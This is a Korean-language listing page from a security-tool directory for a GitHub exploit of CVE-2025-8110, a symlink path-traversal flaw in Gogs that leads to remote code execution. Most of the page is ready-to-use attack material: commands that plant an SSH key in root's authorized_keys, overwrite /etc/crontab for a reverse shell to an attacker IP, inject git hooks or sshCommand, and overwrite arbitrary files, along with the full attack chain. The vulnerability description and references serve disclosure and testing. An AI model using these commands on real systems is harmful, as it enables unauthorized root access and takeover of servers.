Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-8110 — Gogs 심링크 경로 탐색 → RCE | Kitploit
도구/GitHubGitHub/popyue/cve-2025-8110
Privilege EscalationVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Gogs 심링크 경로 탐색 → RCE

4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2025-8110 — Gogs 심볼릭 링크 트래버설 → RCE

개요

CVE-2025-8110은 Gogs(자체 호스팅 Git 서비스) <= 0.13.3 버전의 치명적인 취약점입니다. PutContents API는 디렉터리 트래버설(../)에 대해 파일 경로를 검증하지만, 쓰기 전에 심볼릭 링크를 해석하지 않습니다. 인증된 사용자는 서버의 모든 파일을 대상으로 하는 심볼릭 링크가 포함된 커밋을 푸시한 다음, 해당 심볼릭 링크에 PutContents를 호출하여 실제 파일을 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.

이는 이전 CVE-2024-55947 수정의 우회입니다. 해당 수정은 직접적인 경로 트래버설만 처리했을 뿐 심볼릭 링크 기반 트래버설은 처리하지 못했습니다.

세부 정보값
CVECVE-2025-8110
영향 버전Gogs <= 0.13.3
수정 버전Gogs 0.13.4
유형인증된 임의 파일 쓰기 → RCE
CVSS8.8 (높음)
구성 요소PutContents API (/api/v1/repos/:owner/:repo/contents/:path)

요구 사항

  • Python 3.8+
  • requests (pip install requests)
  • git CLI
  • 대상 인스턴스의 유효한 Gogs 계정

RCE 전략

이 익스플로잇은 4가지 내장 RCE 전략과 일반 파일 쓰기 모드를 지원합니다:

사용법

root@kitploit:~
# 대상이 취약한지 확인 (자격 증명 불필요)
python3 exploit.py http://target:3000 --check-only

# 전략 A: 루트 접근용 SSH 키 심기
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# 전략 B: Crontab 리버스 셸
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# 전략 C: sshCommand 주입
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# 전략 D: Git 훅 주입
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# 일반 파일 쓰기
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# 로컬 파일에서 쓰기
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

공격 체인 상세

  1. 인증 — Basic Auth로 API 토큰 생성 (POST /api/v1/users/:user/tokens) - API 토큰으로 로그인 (Basic Auth)
  2. 저장소 생성 — auto_init: true와 함께 POST /api/v1/user/repos 호출 (POST /api/v1/user/repos (auto_init))
  3. 심볼릭 링크 푸시 — HTTP로 저장소를 클론하고(URL에 자격 증명 포함), 대상 파일을 가리키는 심볼릭 링크를 생성한 뒤 커밋 및 푸시 (git clone -> os.symlink(target) -> git push)
  4. 심볼릭 링크를 통한 쓰기 — base64로 인코딩된 콘텐츠로 PUT /api/v1/repos/:owner/:repo/contents/:link 호출. Gogs가 디스크에서 심볼릭 링크를 해석하여 실제 파일에 기록 (PUT /api/v1/repos/.../contents/linkn_ame)
  5. RCE 트리거 — RCE 트리거는 전략에 따라 다름 (SSH 로그인, cron 실행, sshCommand 평가 또는 훅 실행)

옵션

root@kitploit:~
target                  Gogs 기본 URL (예: http://target:3000)

인증:
  -u, --user            Gogs 사용자 이름
  -p, --password        Gogs 비밀번호

RCE 전략:
  --rce-keys PUBKEY     SSH 공개키 심기 → /root/.ssh/authorized_keys
  --rce-cron            리버스 셸 → /etc/crontab
  --rce-ssh             .git/config sshCommand 오염 + 트리거
  --rce-hook            pre-receive 훅 덮어쓰기 + 트리거
  --write               일반 임의 파일 쓰기

연결 / 페이로드:
  --lhost LHOST         리버스 셸용 공격자 IP
  --lport LPORT         리버스 셸용 공격자 포트
  --target-file PATH    덮어쓸 서버 경로 (--write 모드)
  --content STRING      쓸 콘텐츠
  --content-file FILE   쓸 로컬 파일

옵션:
  --repo NAME           저장소 이름 (기본값: 랜덤)
  --cleanup             완료 후 익스플로잇 저장소 삭제
  -o, --output FILE     보고서 파일 (기본값: loot.json)
  --timeout SECONDS     요청 타임아웃 (기본값: 15)
  --proxy URL           디버깅용 HTTP 프록시
  --check-only          대상이 Gogs인지만 확인하고 익스플로잇하지 않음

참고 자료

  • Wiz Research Blog
  • NVD — CVE-2025-8110
  • Gogs Patch PR #8078
  • GHSA-mq8m-42gh-wq7r

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오.

도구 다운로드
전략플래그대상 파일트리거
A — SSH 키--rce-keys/root/.ssh/authorized_keysSSH 로그인
B — Crontab--rce-cron/etc/crontab자동 (60초 이내)
C — sshCommand--rce-ssh.git/configSSH git 작업
D — Git 훅--rce-hookhooks/pre-receivegit push
일반--write모든 경로수동